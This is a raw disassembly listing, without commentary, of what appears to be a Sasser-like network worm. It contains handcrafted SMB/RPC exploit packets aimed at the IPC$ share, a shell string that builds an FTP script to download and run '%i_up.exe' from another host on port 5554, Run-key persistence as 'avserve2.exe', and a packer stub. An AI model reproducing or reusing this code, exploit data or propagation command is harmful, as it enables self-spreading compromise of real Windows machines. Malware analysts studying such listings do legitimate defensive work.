		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4063E4	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401398+53o
					; sub_40159E+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_401398+85o
					; sub_40159E+89o
		unicode	0, <C$>,0
a?????		db '?????',0
		align 8
dword_406448	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+369o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4064B4	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+392o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_406558	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+3C8o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4065D8	dd offset loc_401495	; DATA XREF: sub_40159E+3F6o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_40666C	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+425o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4066D8	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+450o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_40674C	dd 0				dd 40A89Ah, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 4	dup(0)
		dd 20h,	0Ch dup(0)
dword_406810	dd 1004600h						; sub_40159E+19Er
		dd 1, 20h, 0Ch dup(0)
		dd 7515123Ch, 2, 20h, 0Ch dup(0)
		dd 751C123Ch, 0Fh dup(0)
off_4068C8	dd offset aAvserve2_exe	; DATA XREF: sub_4020D7:loc_40212Fr
					; sub_4020D7+B5r
					; "avserve2.exe"
		dd offset aAvserve2	; "avserve2"
off_4068D0	dd offset dword_406910	; DATA XREF: sub_401B08+1Ar
					; sub_401B08+2Dr
off_4068D4	dd offset dword_406908	; DATA XREF: sub_401B08+77r
					; sub_401B08+84r
off_4068D8	dd offset dword_406900	; DATA XREF: sub_401B08+A8r
					; sub_401B08+B5r
off_4068DC	dd offset dword_4068F8	; DATA XREF: sub_401B08+2BCr
					; sub_401B08+2C9r ...
off_4068E0	dd offset dword_4068F0	; DATA XREF: sub_401B08+184r
					; sub_401B08+191r
off_4068E4	dd offset dword_4068E8	; DATA XREF: sub_401B08+1B9r
					; sub_401B08+1C6r
dword_4068E8	dd 20303531h, 0A4B4Fhdword_4068F0	dd 20303032h, 0A4B4Fhdword_4068F8	dd 20363232h, 0A4B4Fhdword_406900	dd 20303332h, 0A4B4Fhdword_406908	dd 20313333h, 0A4B4Fhdword_406910	dd 20303232h, 0A4B4FhaAvserve2	db 'avserve2',0         ; DATA XREF: .text:004068CCo
		align 4
aAvserve2_exe	db 'avserve2.exe',0     ; DATA XREF: .text:off_4068C8o
		align 4
aEchoOffEchoOpe	db 'echo off&echo open %s 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo '
					; DATA XREF: .text:off_406030o
		db 'user&echo bin>>cmd.ftp&echo get %i_up.exe>>cmd.ftp&echo bye>>cmd.'
		db 'ftp&echo on&ftp -s:cmd.ftp&%i_up.exe&echo off&del cmd.ftp&echo on'
		db 0Ah,0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_4010D2:loc_401140o
		align 4
aCWin2_log	db 'c:\win2.log',0      ; DATA XREF: sub_401210+27o
aI		db '%i',0               ; DATA XREF: sub_401210+16o
		align 4
aSC		db '%s%c',0             ; DATA XREF: sub_401398+1DFo
		align 10h
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_401398+20o
					; sub_40159E+23o
		align 4
dword_406A2C	dd 6EB06EBh, 0	dword_406A34	dd 1CEC8166h	dword_406A38	dd 0E4FF07h	dword_406A3C	dd 302E35h	dword_406A40	dd 312E35h	aQuit		db 'QUIT',0             ; DATA XREF: sub_401B08+2DAo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_401B08+1A2o
		align 4
aI_I_I_I	db '%i.%i.%i.%i',0      ; DATA XREF: sub_401B08+173o
					; sub_401EF0+D2o
word_406A60	dw 2Ch			; DATA XREF: sub_401B08+EEr
		align 4
aPort		db 'PORT',0             ; DATA XREF: sub_401B08+C6o
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_401B08+95o
		align 4
aUser		db 'USER',0             ; DATA XREF: sub_401B08+64o
		align 4
asc_406A7C:				; DATA XREF: sub_401EF0+102o
		unicode	0, < >,0
aJumpallsnlstil	db 'JumpallsNlsTillt',0 ; DATA XREF: sub_402029+50o
		align 4
aJobaka3	db 'Jobaka3',0          ; DATA XREF: sub_402029+Fo
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_4020D7+8Co
		align 4
asc_406ACC:				; DATA XREF: sub_4020D7+4Bo
		unicode	0, <\>,0
off_406AD0	dd offset sub_402AFF	; DATA XREF: sub_402934+1Cr
dword_406AD4	dd 2							; sub_4035C9+46r
		align 10h
off_406AE0	dd offset word_406AEA	; DATA XREF: sub_402810+1Er
					; sub_402A4C+12r ...
		dd offset word_406AEA
		db 2 dup(0)
word_406AEA	dw 20h			; DATA XREF: sub_403876+18r
					; .text:off_406AE0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_406CEC	dd 1				dd 2Eh,	1
dword_406CF8	dd 0C0000005h						; sub_402D04+11o
		dd 0Bh,	0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_406D70	dd 3		dword_406D74	dd 7		dword_406D78	dd 0Ah		dword_406D7C	dd 8Ch							; sub_402BC3+8Fw ...
		dd 0FFFFFFFFh, 0A00h, 10h
dword_406D8C	dd 19930520h, 4	dup(0)					; sub_403496+2o
dword_406DA0	dd 2							; sub_4035C9+28r
off_406DA4	dd offset aR6002FloatingP ; DATA XREF: sub_4035C9+FCr
					; sub_4035C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 40536Ch, 9, 405340h, 0Ah,	40531Ch, 10h, 4052F0h
		dd 11h,	4052C0h, 12h, 40529Ch, 13h, 405270h, 18h, 405238h
		dd 19h,	405210h, 1Ah, 4051D8h, 1Bh, 4051A0h, 1Ch, 405178h
		dd 78h,	405168h, 79h, 405158h, 7Ah, 405148h, 0FCh, 405144h
		dd 0FFh, 405134h
byte_406E30	db 1			; DATA XREF: sub_4035C9+1Bo
					; sub_4038A7+E1r
		db 2, 4, 8
		align 8
dword_406E38	dd 3A4h		dword_406E3C	dd 82798260h, 21h, 0dword_406E48	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_406F28	dd 3F8h							; sub_403CF4+5r
		align 10h
dword_406F30	dd 0CBBA84CEh						; sub_401000+10w ...
dword_406F34	dd 0							; sub_401210+Dr
dword_406F38	dd 0							; sub_401398+Co ...
dword_406F3C	dd 0							; sub_402680+91w
dword_406F40	dd 0							; sub_402D9F:loc_402DB1r ...
		align 8
dword_406F48	dd 0				dd 3 dup(0)
dword_406F58	dd 0A28h	dword_406F5C	dd 501h		dword_406F60	dd 5		dword_406F64	dd 1		dword_406F68	dd 1		dword_406F6C	dd 0DB0ED0h			dd 0
dword_406F74	dd 0DB0D70h			dd 3 dup(0)
off_406F84	dd offset aCM_unpackerPac ; DATA XREF: sub_402E58+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_406F8C	db 0			; DATA XREF: sub_402B10+2Dw
		align 10h
dword_406F90	dd 0		dword_406F94	dd 0							; sub_402B10+8Bw
dword_406F98	dd 0							; sub_402BC3+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_402E58:loc_402E6Fo
					; .text:off_406F84o
		align 4
		dd 31h dup(0)
dword_40707C	dd 9 dup(0)						; .text:00406638o ...
dword_4070A0	dd 1							; sub_4030A5+23w ...
dword_4070A4	dd 0		dword_4070A8	dd 1							; sub_40371C:loc_403786w
dword_4070AC	dd 1							; sub_403A40+4w ...
dword_4070B0	dd 0							; sub_404573+2Ew ...
dword_4070B4	dd 0							; sub_404573:loc_4045C2r
dword_4070B8	dd 0							; sub_404573+60r
		dd 2 dup(0)
dword_4070C4	dd 0				dd 3 dup(0)
dword_4070D4	dd 0							; sub_403A40+3Ar ...
		dd 0
dword_4070DC	dd 1							; sub_4046FE+4Cw ...
dword_4070E0	dd 0		dword_4070E4	dd 0		dword_4070E8	dd 10h							; sub_4043C7+5r ...
dword_4070EC	dd 0							; sub_403D93+259r ...
dword_4070F0	dd 320650h						; sub_403D93+310w ...
dword_4070F4	dd 0							; sub_403D93+22Cr ...
dword_4070F8	dd 1							; sub_403D68r ...
dword_4070FC	dd 320650h						; sub_403D68+8r ...
dword_407100	dd 4E4h							; sub_4038A7+65w ...
		align 10h
dword_407110	dd 3 dup(0)						; sub_4038A7+171o ...
dword_40711C	dd 0							; sub_4038A7+15Dw ...
byte_407120	db 0			; DATA XREF: sub_403AE6:loc_403BF2w
					; sub_403AE6:loc_403C0Fw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_407220	db 0			; DATA XREF: sub_4038A7+5Co
					; sub_4038A7+AFo ...
byte_407221	db 0			; DATA XREF: sub_402EF1+3Fr
					; sub_402EF1+84r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_407324	dd 0							; sub_4038A7+12Bw ...
dword_407328	dd 320000h						; sub_403382+29r ...
		dd 5 dup(0)
dword_407340	dd 0DB0EF0h						; sub_4031D7+45r ...
dword_407344	dd 3Fh dup(0)	dword_407440	dd 20h							; sub_4031D7:loc_403261r ...
dword_407444	dd 1		dword_407448	dd 1		dword_40744C	dd 0		dword_407450	dd 0							; sub_402B10+57r
dword_407454	dd 0		dword_407458	dd 452340h						; sub_402D47+Fr ...
		dd 6E9h	dup(0)
_text		ends

; Section 3. (virtual address 0001A000)
; Virtual size			: 00020000 ( 131072.)
; Section size in file		: 00020000 ( 131072.)
; Offset to raw	data for section: 0001A000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 41A000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		pusha
		call	sub_44475F
		popa
		jmp	sub_40283E
start		endp

; ---------------------------------------------------------------------------
		db 0
byte_41A00D	db 0F0h, 7Eh, 90h	; DATA XREF: .bss:off_44C7E0o
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 8000h, 6014A100h, 87A3A03Bh,	0D0065E3Ah, 0C90E6BEFh
		dd 4DCDE7D0h, 852D475Dh, 8978DC42h, 181647F2h, 0F653DE26h
		dd 6E855FB2h, 0FC6444B6h, 0A45F3E8Eh, 7DDF9674h, 0EB2775DCh
		dd 24BDE464h, 502672DCh, 0E62759h, 6014C00h, 4B2FFD00h
		dd 47h,	0
		dd 0E00E000h, 2010B21h,	0BC0037h, 3A0000h, 6E0000h, 119600h
		dd 100000h, 0D00000h, 0
		dd 100010h, 20000h, 100h, 0
		dd 400h, 0
		dd 1A00000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 1900000h, 4C00h, 1600000h, 1CC00h, 6 dup(0)
		dd 1700000h, 164000h, 14h dup(0)
		dd 65742E00h, 7478h, 0BA2000h, 100000h,	0BA2000h, 40000h
		dd 3 dup(0)
		dd 2000h, 73622E60h, 73h, 6DB800h, 0D00000h, 5 dup(0)
		dd 8000h, 61642EC0h, 6174h, 1D7400h, 1400000h, 1D7400h
		dd 0C00000h, 3 dup(0)
		dd 4000h, 64692EC0h, 617461h, 1CC00h, 1600000h,	1CC00h
		dd 0DE0000h, 3 dup(0)
		dd 6000h, 65722EC0h, 636F6Ch, 164800h, 1700000h, 164800h
		dd 0E20000h, 3 dup(0)
		dd 2000h, 64652E02h, 617461h, 4C00h, 1900000h, 4C00h, 0FA0000h
		dd 3 dup(0)
		dd 2000h, 40h, 65h dup(0)
		dd 1B800h, 31C30000h, 4C8B40C0h, 41F70424h, 604h, 8B0F7400h
		dd 8B082444h, 89102454h, 3B802h
		db 2 dup(0), 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41A433	proc near		; CODE XREF: .data:0041A55Bp
					; .data:0041A589p

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	10001006h
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41A450:				; CODE XREF: sub_41A433+44j
					; sub_41A433+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41A47F
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41A47F
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41A450
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_41A450
; ---------------------------------------------------------------------------


loc_41A47F:				; CODE XREF: sub_41A433+2Aj
					; sub_41A433+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A433	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A48D	proc near		; CODE XREF: .data:0041A54Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	10001098h
		push	[ebp+arg_0]
		call	sub_425DC1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41A48D	endp

; ---------------------------------------------------------------------------
		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_41A582
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41A4E0:				; CODE XREF: .data:0041A579j
		cmp	esi, 0FFFFFFFFh
		jz	loc_41A591
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41A570
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ds:10014034h, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	ds:10014038h, eax
		mov	eax, [edx+4]
		mov	ds:1001403Ch, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, ds:10014040h
		mov	esi, ds:10014038h
		rep movsd
		lea	edi, ds:10014040h
		mov	ds:10014038h, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_41A570
		js	short loc_41A57E
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41A48D
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41A433
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_41A570:				; CODE XREF: .data:0041A4F1j
					; .data:0041A546j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_41A4E0
; ---------------------------------------------------------------------------


loc_41A57E:				; CODE XREF: .data:0041A548j
		xor	eax, eax
		jmp	short loc_41A59B
; ---------------------------------------------------------------------------


loc_41A582:				; CODE XREF: .data:0041A4C5j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41A433
		add	esp, 0Ch


loc_41A591:				; CODE XREF: .data:0041A4E3j
		push	0Bh
		call	sub_425E09
		add	esp, 4


loc_41A59B:				; CODE XREF: .data:0041A580j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_41A5B4
		call	sub_41A5D0


loc_41A5B4:				; CODE XREF: .data:0041A5ADj
		call	sub_425D4C
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, ds:10014000h
		call	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A5D0	proc near		; CODE XREF: .data:0041A5AFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_425DD9
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_425DD9
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_425DD9
		mov	[ebp+var_C], eax
		push	1001401Eh
		push	[ebp+var_8]
		call	sub_425DCD
		mov	ds:10014008h, eax
		push	1001401Ch
		push	[ebp+var_4]
		call	sub_425DCD
		mov	ds:10014004h, eax
		push	1001401Ch
		push	[ebp+var_C]
		call	sub_425DCD
		add	esp, 30h
		mov	ds:1001400Ch, eax
		mov	edi, ds:10014004h
		or	edi, edi
		jz	short loc_41A649
		push	0
		push	edi
		call	sub_425E15
		add	esp, 8


loc_41A649:				; CODE XREF: sub_41A5D0+6Cj
		mov	edi, ds:1001400Ch
		or	edi, edi
		jz	short loc_41A663
		push	0
		push	edi
		call	sub_425E15
		add	esp, 8
		call	sub_41A669


loc_41A663:				; CODE XREF: sub_41A5D0+81j
		pop	edi
		leave
		retn
sub_41A5D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A669	proc near		; CODE XREF: sub_41A5D0+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_425DB5
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_41A6A1
; ---------------------------------------------------------------------------


loc_41A685:				; CODE XREF: sub_41A669+3Bj
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_41A68D
		inc	[ebp+var_C]


loc_41A68D:				; CODE XREF: sub_41A669+1Fj
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_41A6A1:				; CODE XREF: sub_41A669+1Aj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41A685
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_425DFD
		pop	ecx
		mov	[ebp+var_8], eax
		mov	ds:10014010h, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41A6CF
		xor	eax, eax
		jmp	short loc_41A72C
; ---------------------------------------------------------------------------


loc_41A6CF:				; CODE XREF: sub_41A669+60j
		mov	ebx, [ebp+var_10]
		jmp	short loc_41A719
; ---------------------------------------------------------------------------


loc_41A6D4:				; CODE XREF: sub_41A669+B3j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_41A713
		push	[ebp+var_4]
		call	sub_425DFD
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	[esi], eax
		or	eax, eax
		jnz	short loc_41A701
		jmp	short loc_41A72C
; ---------------------------------------------------------------------------


loc_41A701:				; CODE XREF: sub_41A669+94j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr [edi]
		call	sub_425E21
		add	esp, 8
		add	[ebp+var_8], 4


loc_41A713:				; CODE XREF: sub_41A669+82j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_41A719:				; CODE XREF: sub_41A669+69j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41A6D4
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0
		mov	eax, 1


loc_41A72C:				; CODE XREF: sub_41A669+64j
					; sub_41A669+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A669	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+10h]
		push	10015CC4h
		push	esi
		call	dword ptr ds:10013824h
		or	eax, eax
		jz	short loc_41A75D
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_41A7A5
; ---------------------------------------------------------------------------


loc_41A75D:				; CODE XREF: .data:0041A74Bj
		push	10015C34h
		push	esi
		call	dword ptr ds:10013824h
		or	eax, eax
		jz	short loc_41A77D
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_41A7A5
; ---------------------------------------------------------------------------


loc_41A77D:				; CODE XREF: .data:0041A76Bj
		push	10015C04h
		push	esi
		call	dword ptr ds:10013824h
		or	eax, eax
		jz	short loc_41A79D
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_41A7A5
; ---------------------------------------------------------------------------


loc_41A79D:				; CODE XREF: .data:0041A78Bj
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_41A7A5:				; CODE XREF: .data:0041A75Bj
					; .data:0041A77Bj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 15Ch
		push	ebx
		push	esi
		push	edi
		call	sub_41B3AE
		call	sub_41B1A7
		call	sub_425250
		call	sub_41D241
		call	sub_422C0C
		call	sub_422341
		call	sub_4230AA
		call	sub_41B7EE
		call	sub_420DEC
		mov	esi, eax


loc_41A7E7:				; CODE XREF: .data:0041A83Dj
		call	sub_4234DB
		mov	edx, eax
		mov	[ebp-144h], dl
		movzx	eax, byte ptr [ebp-144h]
		mov	edx, ds:10014178h
		sub	edx, 3
		cmp	eax, edx
		jnz	short loc_41A817
		mov	eax, ds:1001424Ch
		sub	eax, 8
		push	eax
		call	dword ptr ds:10013840h


loc_41A817:				; CODE XREF: .data:0041A806j
		movzx	eax, byte ptr [ebp-144h]
		mov	edx, ds:10014100h
		sub	edx, 6
		cmp	eax, edx
		jnz	short loc_41A83F
		movsx	eax, word ptr ds:10014160h
		add	eax, 5Eh
		push	eax
		call	dword ptr ds:1001380Ch
		pop	ecx
		jmp	short loc_41A7E7
; ---------------------------------------------------------------------------


loc_41A83F:				; CODE XREF: .data:0041A829j
		or	esi, esi
		jnz	loc_41A901
		push	10015B94h
		call	sub_41B08F
		mov	[ebp-154h], eax
		push	10015B8Ah
		call	sub_41B08F
		push	eax
		mov	edx, [ebp-154h]
		push	edx
		lea	edx, [ebp-143h]
		push	edx
		call	dword ptr ds:10013810h
		lea	eax, [ebp-143h]
		push	eax
		push	0
		push	0
		call	dword ptr ds:100137ECh
		mov	edi, eax
		push	10015B7Eh
		call	sub_41B08F
		mov	[ebp-158h], eax
		push	10015B74h
		call	sub_41B08F
		mov	edx, ds:10014240h
		add	edx, 5
		push	edx
		push	eax
		mov	edx, [ebp-158h]
		push	edx
		lea	edx, [ebp-143h]
		push	edx
		call	dword ptr ds:10013810h
		add	esp, 2Ch
		lea	eax, [ebp-143h]
		push	eax
		push	1
		push	0
		call	dword ptr ds:100137ECh
		mov	edi, eax
		or	edi, edi
		jnz	short loc_41A8EB
		mov	eax, ds:10014158h
		sub	eax, 7
		push	eax
		call	dword ptr ds:10013840h


loc_41A8EB:				; CODE XREF: .data:0041A8DAj
		mov	eax, ds:1001414Ch
